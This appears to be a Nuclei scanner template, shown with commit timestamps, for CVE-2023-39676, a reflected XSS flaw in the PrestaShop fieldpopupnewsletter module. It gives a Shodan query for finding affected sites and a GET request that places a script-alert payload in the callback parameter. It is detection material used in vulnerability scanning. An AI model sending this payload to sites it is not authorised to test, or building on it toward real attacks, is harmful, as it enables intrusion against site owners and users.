2023-09-07 09:43:17 +00:00
id : CVE-2023-39676
2023-09-11 06:44:30 +00:00
2023-09-07 09:43:17 +00:00
info :
2023-09-12 11:45:08 +00:00
name : PrestaShop fieldpopupnewsletter Module - Cross Site Scripting
2023-09-07 09:43:17 +00:00
author : meme-lord
severity : medium
2023-09-11 06:44:30 +00:00
description : |
2023-09-11 07:39:49 +00:00
Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.
2023-09-07 09:43:17 +00:00
reference :
- https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/
2023-10-14 11:27:55 +00:00
- https://sorcery.ie
- https://themeforest.net/user/fieldthemes
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2023-39676
cwe-id : CWE-79
epss-score : 0.00183
2023-10-23 12:22:20 +00:00
epss-percentile : 0.55325
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:fieldthemes:fieldpopupnewsletter:1.0.0:*:*:*:*:prestashop:*:*
2023-09-11 06:44:30 +00:00
metadata :
2023-10-14 11:27:55 +00:00
verified : "true"
2023-09-11 06:44:30 +00:00
max-request : 1
2023-10-14 11:27:55 +00:00
vendor : fieldthemes
product : fieldpopupnewsletter
framework : prestashop
2023-09-11 06:44:30 +00:00
shodan-query : html:"fieldpopupnewsletter"
2023-09-07 09:43:17 +00:00
tags : cve,cve2023,prestashop,xss
http :
- method : GET
path :
2023-09-11 06:44:30 +00:00
- "{{BaseURL}}/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E"
2023-09-07 09:43:17 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-09-11 06:44:30 +00:00
- "<script>alert(document.domain)</script>"
2023-09-07 09:43:17 +00:00
- "Invalid email"
condition : and
2023-09-11 06:44:30 +00:00
- type : status
status :
- 200
2023-10-23 12:51:13 +00:00
# digest: 4b0a00483046022100d0d35428bba9e70273fea5a3bd07fd1004afd938750a842f36a3b16d33139792022100f3b9ac569027c6055d2b00643a883ad24851f832912508b48cccff21c85b7997:922c64590222798bb761d5b6d8e72950